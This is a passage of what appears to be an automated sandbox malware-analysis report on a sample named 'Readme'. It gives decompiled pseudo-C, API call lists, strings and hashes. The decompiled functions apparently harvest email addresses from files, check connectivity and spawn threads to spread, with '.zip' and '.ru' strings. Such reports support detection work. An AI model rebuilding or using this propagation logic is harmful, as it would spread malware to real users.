									__esp = __esp - 8;
									__edx =  &_v76;
									asm("cld");
									__ecx = 0xa;
									__eax = 0;
									__edi = __edx;
									__eax = memset(__edi, 0, 0xa << 2);
									__edi = __edi + __ecx;
									__ecx = 0;
									_v1204 = 0x40ede1;
									_v1208 = __edx;
									L0040C328();
									__esp = __esp - 8;
								} else {
									__eax = E00404EAE(0x15);
									_v1188 = __eax;
									__ebx =  &_v300;
									 *__esp = __ebx;
									L0040C328();
									__esp = __esp - 8;
									__eax = E00404EAE(4);
									_v1196 = __eax;
									 *__esp = __ebx;
									L0040C328();
									__esp = __esp - 8;
									__edx =  &_v76;
									asm("cld");
									__ecx = 0xa;
									__eax = 0;
									__edi = __edx;
									__eax = memset(__edi, 0, 0xa << 2);
									__edi = __edi + __ecx;
									__ecx = 0;
									_v1204 = 0x40ede1;
									_v1208 = __edx;
									L0040C328();
									__esp = __esp - 8;
								}
								_v1212 = "mvcsvnd.qyy";
								__ebx =  &_v812;
								 *__esp = __ebx;
								__eax = E00404C38();
								_v1208 = __ebx;
								_v1212 = 0x104;
								__eax =  &_v780;
								 *__esp =  &_v780;
								__eax = E00404620();
								_v1072 = 1;
								goto L31;
							case 0x10:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp =  &_v188;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *0x40d0b8; // 0x40e7a0
								_v1180 = __eax;
								__eax =  &_v508;
								 *__esp =  &_v508;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(0x16);
								_v1188 = __eax;
								__ebx =  &_v300;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(4);
								_v1196 = __eax;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								_v1072 = 1;
								goto L31;
							case 0x11:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp =  &_v188;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *0x40d0bc; // 0x40e7cc
								_v1180 = __eax;
								__eax =  &_v508;
								 *__esp =  &_v508;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *0x40d148; // 0x40eb0c
								_v1188 = __eax;
								__eax =  &_v300;
								 *__esp =  &_v300;
								L0040C328();
								__esp = __esp - 8;
								_v1072 = 1;
								goto L31;
							case 0x12:
								__eax =  *(0x40d0e0 + __ebx * 4);
								_v1172 =  *(0x40d0e0 + __ebx * 4);
								__eax =  &_v188;
								 *__esp =  &_v188;
								L0040C328();
								__esp = __esp - 8;
								__eax =  *0x40d0c0; // 0x40e7f1
								_v1180 = __eax;
								__eax =  &_v508;
								 *__esp =  &_v508;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(0x16);
								_v1188 = __eax;
								__ebx =  &_v300;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								__eax = E00404EAE(4);
								_v1196 = __eax;
								 *__esp = __ebx;
								L0040C328();
								__esp = __esp - 8;
								__edx =  &_v76;
								asm("cld");
								__ecx = 0xa;
								__eax = 0;
								__edi = __edx;
								__eax = memset(__edi, 0, 0xa << 2);
								__edi = __edi + __ecx;
								__ecx = 0;
								_v1204 = 0x40edf7;
								_v1208 = __edx;
								L0040C328();
								__esp = __esp - 8;
								_v1072 = 1;
								L31:
								while(E00404F0A(_t354, _t360) == 0) {
									 *_t374 = 0x7530;
									Sleep(??);
									_t374 = _t374 - 4;
								}
								_v1152 = _v1072;
								_v1156 =  &_v76;
								_v1160 =  &_v780;
								_v1164 =  &_v508;
								_v1168 =  &_v188;
								_v1172 =  &_v1068;
								 *_t374 =  &_v300;
								E00405EE8();
								_t358 = 0;
								goto L33;
						}
					}
					goto L31;
				}
				L33:
				return _t358;
			}

0x00402294
0x0040229e
0x004022a1
0x004022a4
0x004022a9
0x004022ac
0x004022b4
0x004022ba
0x004022d3
0x004022d8
0x004022dc
0x004022df
0x004022e4
0x004022e7
0x004022ef
0x004022f5
0x004022f8
0x004022fd
0x00402301
0x0040230f
0x00402312
0x00402317
0x00402323
0x00402325
0x00402331
0x00402337
0x0040233f
0x00402346
0x0040234b
0x0040234e
0x0040235a
0x0040235a
0x00402368
0x00402370
0x00402378
0x0040237b
0x00402386
0x0040238e
0x00402396
0x00402399
0x004023a4
0x004023ac
0x004023b4
0x004023b7
0x004023bc
0x004023bf
0x004023cc
0x004023cc
0x004023d6
0x004023da
0x004023dc
0x004023df
0x004023e7
0x004023ef
0x004023f2
0x00402403
0x00402407
0x0040240a
0x00402412
0x0040241a
0x0040241d
0x00402422
0x00402425
0x00402431
0x00402439
0x00402441
0x0040244b
0x0040244d
0x0040245b
0x0040245b
0x00402461
0x00402467
0x00000000
0x00402475
0x0040247f
0x00402482
0x00402487
0x0040248a
0x0040249d
0x004024a7
0x004024aa
0x004024af
0x004024b2
0x004024c5
0x004024cf
0x004024d2
0x004024d7
0x00000000
0x00000000
0x004024df
0x004024e4
0x004024e8
0x004024ee
0x004024f1
0x004024f6
0x004024f9
0x00402500
0x00402504
0x0040250a
0x0040250d
0x00402512
0x0040251c
0x00402528
0x0040252c
0x00402532
0x00402535
0x0040253a
0x00000000
0x00000000
0x00402542
0x00402549
0x0040254d
0x00402553
0x00402556
0x0040255b
0x00402565
0x00402571
0x00402575
0x0040257b
0x0040257e
0x00402583
0x00402586
0x0040258b
0x0040258f
0x00402595
0x00402598
0x0040259d
0x00000000
0x00000000
0x004025a5
0x004025ac
0x004025b0
0x004025b6
0x004025b9
0x004025be
0x004025c8
0x004025d4
0x004025d8
0x004025de
0x004025e1
0x004025e6
0x004025e9
0x004025ee
0x004025f2
0x004025f8
0x004025fb
0x00402600
0x00000000
0x00000000
0x00402608
0x0040260f
0x00402613
0x00402619
0x0040261c
0x00402621
0x0040262b
0x00402637
0x0040263b
0x00402641
0x00402644
0x00402649
0x0040264c
0x00402651
0x00402655
0x0040265b
0x0040265e
0x00402663
0x00000000
0x00000000
0x0040266b
0x00402672
0x00402676
0x0040267c
0x0040267f
0x00402684
0x0040268e
0x0040269a
0x0040269e
0x004026a4
0x004026a7
0x004026ac
0x004026af
0x004026b4
0x004026b8
0x004026be
0x004026c1
0x004026c6
0x00000000
0x00000000
0x004026ce
0x004026d5
0x004026d9
0x004026df
0x004026e2
0x004026e7
0x004026ea
0x004026ef
0x004026f3
0x004026f9
0x004026fc
0x00402701
0x0040270b
0x00402717
0x0040271b
0x00402721
0x00402724
0x00402729
0x00402733
0x0040273f
0x00402743
0x00402746
0x0040274b
0x00000000
0x00000000
0x00402753
0x0040275a
0x0040275e
0x00402764
0x00402767
0x0040276c
0x0040276f
0x00402774
0x00402778
0x0040277e
0x00402781
0x00402786
0x00402790
0x0040279c
0x004027a0
0x004027a6
0x004027a9
0x004027ae
0x004027b8
0x004027c4
0x004027c8
0x004027cb
0x004027d0
0x00000000
0x00000000
0x004027d8
0x004027df
0x004027e3
0x004027e9
0x004027ec
0x004027f1
0x004027f4
0x004027f9
0x004027fd
0x00402803
0x00402806
0x0040280b
0x00402815
0x00402821
0x00402825
0x0040282b
0x0040282e
0x00402833
0x0040283d
0x00402849
0x0040284d
0x00402850
0x00402855
0x00000000
0x00000000
0x0040285d
0x00402864
0x00402868
0x0040286e
0x00402871
0x00402876
0x00402879
0x0040287e
0x00402882
0x00402888
0x0040288b
0x00402890
0x0040289a
0x004028a6
0x004028aa
0x004028b0
0x004028b3
0x004028b8
0x004028c2
0x004028ce
0x004028d2
0x004028d5
0x004028da
0x00000000
0x00000000
0x004028e2
0x004028e9
0x004028ed
0x004028f3
0x004028f6
0x004028fb
0x004028fe
0x00402903
0x00402907
0x0040290d
0x00402910
0x00402915
0x00402918
0x00402920
0x00402926
0x00402929
0x0040292e
0x00000000
0x00000000
0x00402936
0x0040293d
0x00402941
0x00402947
0x0040294a
0x0040294f
0x00402959
0x00402965
0x00402969
0x0040296f
0x00402972
0x00402977
0x00402981
0x0040298d
0x00402991
0x00402997
0x0040299a
0x0040299f
0x004029a9
0x004029b5
0x004029b9
0x004029bc
0x004029c1
0x00000000
0x00000000
0x004029c9
0x004029d0
0x004029d4
0x004029da
0x004029dd
0x004029e2
0x004029ec
0x004029f8
0x004029fc
0x00402a02
0x00402a05
0x00402a0a
0x00402a14
0x00402a20
0x00402a24
0x00402a27
0x00402a2c
0x00402a2f
0x00402a34
0x00402a38
0x00402a3e
0x00402a41
0x00402a46
0x00402a49
0x00402a4c
0x00402a4d
0x00402a52
0x00402a57
0x00402a59
0x00402a59
0x00402a59
0x00402a5b
0x00402a63
0x00402a66
0x00402a6b
0x00000000
0x00000000
0x00402a73
0x00402a7a
0x00402a7e
0x00402a84
0x00402a87
0x00402a8c
0x00402a96
0x00402aa2
0x00402aa6
0x00402aac
0x00402aaf
0x00402ab4
0x00402abe
0x00402aca
0x00402ace
0x00402ad1
0x00402ad6
0x00402ad9
0x00402ade
0x00402ae2
0x00402ae8
0x00402aeb
0x00402af0
0x00402af3
0x00402af6
0x00402af7
0x00402afc
0x00402b01
0x00402b03
0x00402b03
0x00402b03
0x00402b05
0x00402b0d
0x00402b10
0x00402b15
0x00000000
0x00000000
0x00402b1d
0x00402b24
0x00402b28
0x00402b2e
0x00402b31
0x00402b36
0x00402b40
0x00402b4c
0x00402b50
0x00402b56
0x00402b59
0x00402b5e
0x00402b68
0x00402b74
0x00402b78
0x00402b7e
0x00402b81
0x00402b86
0x00402b90
0x00402b9c
0x00402ba0
0x00402ba3
0x00402ba8
0x00402bab
0x00000000
0x00000000
0x00402bba
0x00402bc1
0x00402bc5
0x00402bcb
0x00402bce
0x00402bd3
0x00402bd6
0x00402bdb
0x00402bdf
0x00402be5
0x00402be8
0x00402bed
0x00402bfe
0x00402c78
0x00402c84
0x00402c88
0x00402c8e
0x00402c91
0x00402c96
0x00402ca0
0x00402cac
0x00402cb0
0x00402cb3
0x00402cb8
0x00402cbb
0x00402cbe
0x00402cbf
0x00402cc4
0x00402cc9
0x00402ccb
0x00402ccb
0x00402ccb
0x00402ccd
0x00402cd5
0x00402cd8
0x00402cdd
0x00402c00
0x00402c07
0x00402c13
0x00402c17
0x00402c1d
0x00402c20
0x00402c25
0x00402c2f
0x00402c3b
0x00402c3f
0x00402c42
0x00402c47
0x00402c4a
0x00402c4d
0x00402c4e
0x00402c53
0x00402c58
0x00402c5a
0x00402c5a
0x00402c5a
0x00402c5c
0x00402c64
0x00402c67
0x00402c6c
0x00402c6c
0x00402ce0
0x00402ce8
0x00402cee
0x00402cf1
0x00402cf6
0x00402cfa
0x00402d02
0x00402d08
0x00402d0b
0x00402d10
0x00000000
0x00000000
0x00402d1f
0x00402d26
0x00402d2a
0x00402d30
0x00402d33
0x00402d38
0x00402d3b
0x00402d40
0x00402d44
0x00402d4a
0x00402d4d
0x00402d52
0x00402d5c
0x00402d68
0x00402d6c
0x00402d72
0x00402d75
0x00402d7a
0x00402d84
0x00402d90
0x00402d94
0x00402d97
0x00402d9c
0x00402d9f
0x00000000
0x00000000
0x00402dae
0x00402db5
0x00402db9
0x00402dbf
0x00402dc2
0x00402dc7
0x00402dca
0x00402dcf
0x00402dd3
0x00402dd9
0x00402ddc
0x00402de1
0x00402de4
0x00402de9
0x00402ded
0x00402df3
0x00402df6
0x00402dfb
0x00402dfe
0x00000000
0x00000000
0x00402e0d
0x00402e14
0x00402e18
0x00402e1e
0x00402e21
0x00402e26
0x00402e29
0x00402e2e
0x00402e32
0x00402e38
0x00402e3b
0x00402e40
0x00402e4a
0x00402e56
0x00402e5a
0x00402e60
0x00402e63
0x00402e68
0x00402e72
0x00402e7e
0x00402e82
0x00402e85
0x00402e8a
0x00402e8d
0x00402e90
0x00402e91
0x00402e96
0x00402e9b
0x00402e9d
0x00402e9d
0x00402e9d
0x00402e9f
0x00402ea7
0x00402eaa
0x00402eaf
0x00402eb2
0x00000000
0x00402ecd
0x00402ebe
0x00402ec5
0x00402eca
0x00402eca
0x00402edc
0x00402ee3
0x00402eed
0x00402ef7
0x00402f01
0x00402f0b
0x00402f15
0x00402f18
0x00402f1d
0x00000000
0x00000000
0x00402467
0x00000000
0x00402461
0x00402f22
0x00402f2b

APIs

lstrlen.KERNEL32 ref: 004022A4
memset.MSVCRT ref: 004022D3
lstrcpy.KERNEL32 ref: 004022DF

Part of subcall function 00404620: memset.MSVCRT ref: 0040463D
Part of subcall function 00404620: GetSystemDirectoryA.KERNEL32 ref: 00404649
Part of subcall function 00404620: lstrlen.KERNEL32 ref: 00404654
Part of subcall function 00404620: lstrcat.KERNEL32 ref: 0040466E
Part of subcall function 00404620: lstrcat.KERNEL32 ref: 00404680

Part of subcall function 00404EAE: GetTickCount.KERNEL32 ref: 00404EB8
Part of subcall function 00404EAE: srand.MSVCRT ref: 00404EC0
Part of subcall function 00404EAE: rand.MSVCRT ref: 00404EC5

Sleep.KERNEL32 ref: 00402346
memset.MSVCRT ref: 0040237B
memset.MSVCRT ref: 00402399
memset.MSVCRT ref: 004023B7
lstrcat.KERNEL32 ref: 004023DF
lstrcat.KERNEL32 ref: 004023F2
lstrcat.KERNEL32 ref: 0040240A
lstrcat.KERNEL32 ref: 0040241D
strstr.MSVCRT ref: 00402444
lstrcat.KERNEL32 ref: 00402482
lstrcat.KERNEL32 ref: 004024AA
Sleep.KERNEL32 ref: 00402EC5
lstrcat.KERNEL32 ref: 004024D2

Part of subcall function 00404F0A: GetModuleHandleA.KERNEL32 ref: 00404F27
Part of subcall function 00404F0A: LoadLibraryA.KERNEL32 ref: 00404F41
Part of subcall function 00404F0A: InternetGetConnectedState.WININET ref: 00404F6B

Strings

X@, xrefs: 004027F4
@, xrefs: 004026EA
_@, xrefs: 004025E9
.ru, xrefs: 00402439
mvcsv.qyy, xrefs: 004022E7
N@, xrefs: 00402586
d, xrefs: 004023A4
8@, xrefs: 004024DF
s@, xrefs: 0040264C
.zip, xrefs: 00402412

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: lstrcat$memset$Sleeplstrlen$ConnectedCountDirectoryHandleInternetLibraryLoadModuleStateSystemTicklstrcpyrandsrandstrstr
String ID: .ru$.zip$8@$N@$X@$_@$d$mvcsv.qyy$s@$@
API String ID: 4149311011-1716888737
Opcode ID: 7e3f864fb77927ba2efb06760720045ebe60907d4ebc95661c7502bd9f0cadcb
Instruction ID: c4b552956d8c88359d0401bfea8a3880dfb39e4fafa2b11eb934faa6a3ed69b2
Opcode Fuzzy Hash: 7e3f864fb77927ba2efb06760720045ebe60907d4ebc95661c7502bd9f0cadcb
Instruction Fuzzy Hash: 27F1DBB5814304CBCB10BF75D98569DBBF0BB84304F41897EE9C8A7291EB389698CF56

Uniqueness

Uniqueness Score: -1.00%

Function 00404F82 Relevance: 56.2, APIs: 30, Strings: 2, Instructions: 210timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 00404FD9
GetTickCount.KERNEL32 ref: 00404FE1
srand.MSVCRT ref: 00404FE9
rand.MSVCRT ref: 00404FF2
GetTickCount.KERNEL32 ref: 00404FF9
srand.MSVCRT ref: 00405001
rand.MSVCRT ref: 0040500D
GetTickCount.KERNEL32 ref: 00405026
srand.MSVCRT ref: 0040502E
rand.MSVCRT ref: 00405033
GetTickCount.KERNEL32 ref: 0040504E
srand.MSVCRT ref: 00405056
rand.MSVCRT ref: 0040505B
GetTickCount.KERNEL32 ref: 00405076
srand.MSVCRT ref: 0040507E
rand.MSVCRT ref: 00405083
GetTickCount.KERNEL32 ref: 0040509E
srand.MSVCRT ref: 004050A6
rand.MSVCRT ref: 004050AB
GetTickCount.KERNEL32 ref: 004050C6
srand.MSVCRT ref: 004050CE
rand.MSVCRT ref: 004050D3
GetLocalTime.KERNEL32 ref: 004050E5
_itoa.MSVCRT ref: 00405102
rand.MSVCRT ref: 00405107
rand.MSVCRT ref: 0040513A
rand.MSVCRT ref: 00405168
rand.MSVCRT ref: 00405196
rand.MSVCRT ref: 004051C0
rand.MSVCRT ref: 004051EF

Strings

abcdefghijklmnopqrstuvwxyz, xrefs: 00404F8E
1, xrefs: 00405006

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: rand$CountTicksrand$LocalTime$_itoa
String ID: 1$abcdefghijklmnopqrstuvwxyz
API String ID: 1825045967-2454072292
Opcode ID: 4f87a31ff910bbbb76765ae44f831347ed66564e87c85ef04c6c44d63fd729d0
Instruction ID: 02076846e8c8a6e31432f83e4ba7e8d02048c9f1cba05857c09831ad89ea6e40
Opcode Fuzzy Hash: 4f87a31ff910bbbb76765ae44f831347ed66564e87c85ef04c6c44d63fd729d0
Instruction Fuzzy Hash: 05818271D10255CECB20EFFDC9855AEBBF0EF44304F04827EE884EB686E63859458B99

Uniqueness

Uniqueness Score: -1.00%

Function 100024A2 Relevance: 54.4, APIs: 29, Strings: 2, Instructions: 183timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 100024F9
GetTickCount.KERNEL32 ref: 10002501
srand.MSVCRT ref: 10002509
rand.MSVCRT ref: 10002512
GetTickCount.KERNEL32 ref: 10002519
srand.MSVCRT ref: 10002521
rand.MSVCRT ref: 1000252D
GetTickCount.KERNEL32 ref: 10002546
srand.MSVCRT ref: 1000254E
rand.MSVCRT ref: 10002553
GetTickCount.KERNEL32 ref: 1000256E
srand.MSVCRT ref: 10002576
rand.MSVCRT ref: 1000257B
GetTickCount.KERNEL32 ref: 10002596
srand.MSVCRT ref: 1000259E
rand.MSVCRT ref: 100025A3
GetTickCount.KERNEL32 ref: 100025BE
srand.MSVCRT ref: 100025C6
rand.MSVCRT ref: 100025CB
GetTickCount.KERNEL32 ref: 100025E6
srand.MSVCRT ref: 100025EE
rand.MSVCRT ref: 100025F3
GetLocalTime.KERNEL32 ref: 10002605
_itoa.MSVCRT ref: 10002622
rand.MSVCRT ref: 10002627
rand.MSVCRT ref: 1000265A
rand.MSVCRT ref: 10002688
rand.MSVCRT ref: 100026B6
rand.MSVCRT ref: 100026E4

Strings

1, xrefs: 10002526
abcdefghijklmnopqrstuvwxyz, xrefs: 100024AE

Memory Dump Source

Source File: 00000000.00000002.304069235.0000000010001000.00000040.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.304063881.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304076424.0000000010005000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304082187.0000000010008000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304097063.000000001000A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304103368.000000001000B000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304113880.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Readme.jbxd

Similarity

API ID: rand$CountTicksrand$LocalTime$_itoa
String ID: 1$abcdefghijklmnopqrstuvwxyz
API String ID: 1825045967-2454072292
Opcode ID: d440a931a9828604412f1a6c5e1eba2545ae415163184f67e12b98fea018b4f9
Instruction ID: 08b90c865ba8496aedd198f6e57dbd32cf2abbb3e8829b71b4f22ed4fc9ecb7d
Opcode Fuzzy Hash: d440a931a9828604412f1a6c5e1eba2545ae415163184f67e12b98fea018b4f9
Instruction Fuzzy Hash: 3E71B475D016158EDB12DFBCC8451AEFBF8EF04381F44862AE884EB24AEB34B5558B91

Uniqueness

Uniqueness Score: -1.00%

Function 0040307E Relevance: 49.2, APIs: 19, Strings: 9, Instructions: 199
sleepfilestringCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E0040307E(signed int __edx, char* _a4) {
				void* _v16;
				char _v236;
				char _v237;
				char _v240;
				int _v244;
				int _v248;
				char* _v268;
				int _v272;
				char* _v276;
				intOrPtr _v280;
				int _v284;
				void* __ebx;
				int _t64;
				int _t69;
				long _t71;
				int _t77;
				signed int _t80;
				signed int _t81;
				int _t83;
				int _t92;
				int _t95;
				signed int _t97;
				int _t99;
				int _t100;
				int _t101;
				int _t102;
				int _t103;
				signed int _t104;
				signed int _t107;
				long _t110;
				struct _IO_FILE* _t111;
				struct _IO_FILE* _t112;
				int* _t113;
				intOrPtr* _t114;

				_t104 = __edx;
				_v244 = 0;
				_t110 = 0;
				_t111 = fopen(_a4, 0x40efaf);
				_t64 = 0;
				if(_t111 == 0) {
					L50:
					return _t64;
				}
				while(fgetc(_t111) != 0xffffffff) {
					_v244 = _v244 + 1;
				}
				fclose(_t111);
				_t112 = fopen(_a4, 0x40efaf);
				_t64 = 0;
				if(_t112 == 0) {
					goto L50;
				}
				while(1) {
					L47:
					_t69 = fgetc(_t112);
					_t99 = _t69;
					if(_t69 == 0xffffffff || _t110 > _v244) {
						break;
					}
					if(_t99 != 0x40) {
						continue;
					}
					_t71 = ftell(_t112);
					_t8 = _t71 - 1; // -1
					_t110 = _t8;
					if(_t110 > 0) {
						_t9 = _t71 - 2; // -2
						_t110 = _t9;
					}
					fseek(_t112, _t110, 0);
					_t100 = fgetc(_t112);
					while(1) {
						_t14 = _t100 - 0x61; // -97
						_t17 = _t100 - 0x41; // -65
						_t104 = _t104 & 0xffffff00 | _t14 - 0x00000019 < 0x00000000 | _t17 & 0xffffff00 | _t17 - 0x00000019 < 0x00000000;
						if(_t104 != 0) {
							goto L11;
						}
						L15:
						_t20 = _t100 - 0x30; // -48
						_t97 = _t20;
						if(_t97 <= 9) {
							goto L11;
						}
						_t104 = _t104 & 0xffffff00 | _t100 == 0x0000005f | _t97 & 0xffffff00 | _t100 == 0x0000002d;
						if(_t104 == 0 && _t100 != 0x2e) {
							L18:
							_v248 = 0;
							while(1) {
								_t77 = fgetc(_t112);
								_t101 = _t77;
								if(_t77 == 0xffffffff) {
									break;
								}
								_t103 = 0;
								_t26 = _t101 - 0x61; // -97
								if(_t26 <= 0x19) {
									_t103 = 1;
								}
								_t27 = _t101 - 0x41; // -65
								if(_t27 <= 0x19) {
									_t103 = 1;
								}
								_t28 = _t101 - 0x30; // -48
								_t80 = _t28;
								if(_t80 <= 9) {
									_t103 = 1;
								}
								_t81 = _t80 & 0xffffff00 | _t101 == 0x0000002d;
								_t107 = _t104 & 0xffffff00 | _t101 == 0x0000005f | _t81;
								if(_t107 != 0) {
									_t103 = 1;
								}
								_t104 = _t107 & 0xffffff00 | _t101 == 0x00000040 | _t81 & 0xffffff00 | _t101 == 0x0000002e;
								if(_t104 != 0) {
									_t103 = 1;
								}
								if(_t103 == 0) {
									break;
								} else {
									_t92 = _v248;
									 *(_t92 +  &_v236) = _t101;
									_v248 = _t92 + 1;
									continue;
								}
							}
							_t83 = _v248;
							 *((char*)(_t83 +  &_v236)) = 0;
							if( *((char*)(_t83 +  &_v237)) == 0x40) {
								goto L47;
							}
							_t102 =  &_v236;
							_v284 = _t102;
							L0040C310();
							_t113 = _t113 - 4;
							if(_t83 > 9 &&  *((char*)(_v248 +  &_v237)) != 0x2e && _v236 != 0x40 && _v236 != 0x2e && _v236 != 0x2d) {
								 *_t113 = _t102;
								if(E00403008() == 0) {
									goto L47;
								}
								 *_t113 = _t102;
								if(E00402FC2(_t85, _t102) == 0) {
									goto L47;
								}
								 *_t113 = _t102;
								if(E0040305A() == 0) {
									goto L47;
								}
								while(E00404F0A(_t102, _t104) == 0) {
									 *_t113 = 0x7530;
									Sleep(??);
									_t113 = _t113 - 4;
								}
								_v268 =  &_v240;
								_v272 = 0;
								_v276 =  &_v236;
								_v280 = E00402288;
								_v284 = 0;
								 *_t113 = 0;
								CreateThread(??, ??, ??, ??, ??, ??);
								_t114 = _t113 - 0x18;
								 *_t114 = 0x28;
								Sleep(??);
								_t113 = _t114 - 4;
								if( *0x414018 == 4) {
									 *0x414018 = 0;
									 *_t113 = 0xfa0;
									Sleep(??);
									_t113 = _t113 - 4;
								}
								 *0x414018 =  *0x414018 + 1;
							}
							goto L47;
						}
						L11:
						if(_t110 == 0) {
							rewind(_t112);
							goto L18;
						}
						_t110 = _t110 - 1;
						fseek(_t112, _t110, 0);
						_t95 = fgetc(_t112);
						_t100 = _t95;
						if(_t95 == 0xffffffff) {
							fclose(_t112);
						}
						_t14 = _t100 - 0x61; // -97
						_t17 = _t100 - 0x41; // -65
						_t104 = _t104 & 0xffffff00 | _t14 - 0x00000019 < 0x00000000 | _t17 & 0xffffff00 | _t17 - 0x00000019 < 0x00000000;
						if(_t104 != 0) {
							goto L11;
						}
						goto L15;
					}
				}
				fclose(_t112);
				_t64 = 0;
				goto L50;
			}

0x0040307e
0x0040308a
0x00403094
0x004030ac
0x004030ae
0x004030b5
0x00403388
0x0040338f
0x0040338f
0x004030c3
0x004030bd
0x004030bd
0x004030d3
0x004030eb
0x004030ed
0x004030f4
0x00000000
0x00000000
0x00403360
0x00403360
0x00403363
0x00403368
0x0040336d
0x00000000
0x00000000
0x0040310f
0x00000000
0x00000000
0x00403118
0x0040311d
0x0040311d
0x00403122
0x00403124
0x00403124
0x00403124
0x00403136
0x00403143
0x00403177
0x00403177
0x00403180
0x00403189
0x0040318b
0x00000000
0x00000000
0x0040318d
0x0040318d
0x0040318d
0x00403193
0x00000000
0x00000000
0x004031a1
0x004031a3
0x004031aa
0x004031aa
0x00403224
0x00403227
0x0040322c
0x00403231
0x00000000
0x00000000
0x004031b6
0x004031bb
0x004031c1
0x004031c3
0x004031c3
0x004031c8
0x004031ce
0x004031d0
0x004031d0
0x004031d5
0x004031d5
0x004031db
0x004031dd
0x004031dd
0x004031eb
0x004031ee
0x004031f0
0x004031f2
0x004031f2
0x00403203
0x00403205
0x00403207
0x00403207
0x0040320e
0x00000000
0x00403210
0x00403210
0x00403216
0x0040321e
0x00000000
0x0040321e
0x0040320e
0x00403233
0x00403239
0x00403249
0x00000000
0x00000000
0x0040324f
0x00403255
0x00403258
0x0040325d
0x00403263
0x004032a4
0x004032ae
0x00000000
0x00000000
0x004032b4
0x004032be
0x00000000
0x00000000
0x004032c4
0x004032ce
0x00000000
0x00000000
0x004032e5
0x004032d6
0x004032dd
0x004032e2
0x004032e2
0x004032f4
0x004032f8
0x00403306
0x0040330a
0x00403312
0x0040331a
0x00403321
0x00403326
0x00403329
0x00403330
0x00403335
0x0040333f
0x00403341
0x0040334b
0x00403352
0x00403357
0x00403357
0x0040335a
0x0040335a
0x00000000
0x00403263
0x00403147
0x00403149
0x00403102
0x00000000
0x00403102
0x0040314b
0x0040315b
0x00403163
0x00403168
0x0040316d
0x00403172
0x00403172
0x00403177
0x00403180
0x00403189
0x0040318b
0x00000000
0x00000000
0x00000000
0x0040318b
0x00403177
0x0040337e
0x00403383
0x00000000

APIs

fopen.MSVCRT ref: 004030A7
fgetc.MSVCRT ref: 004030C6
fclose.MSVCRT ref: 004030D3
fopen.MSVCRT ref: 004030E6
rewind.MSVCRT ref: 00403102
fgetc.MSVCRT ref: 00403227
lstrlen.KERNEL32 ref: 00403258
Sleep.KERNEL32 ref: 004032DD
CreateThread.KERNEL32 ref: 00403321
Sleep.KERNEL32 ref: 00403330
Sleep.KERNEL32 ref: 00403352
fgetc.MSVCRT ref: 00403363
fclose.MSVCRT ref: 0040337E

Strings

@, xrefs: 004031F7
., xrefs: 004031FD
., xrefs: 004031A5
-, xrefs: 0040319B
@, xrefs: 0040310C
_, xrefs: 004031E2
-, xrefs: 00403297
-, xrefs: 004031E8
_, xrefs: 00403195

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

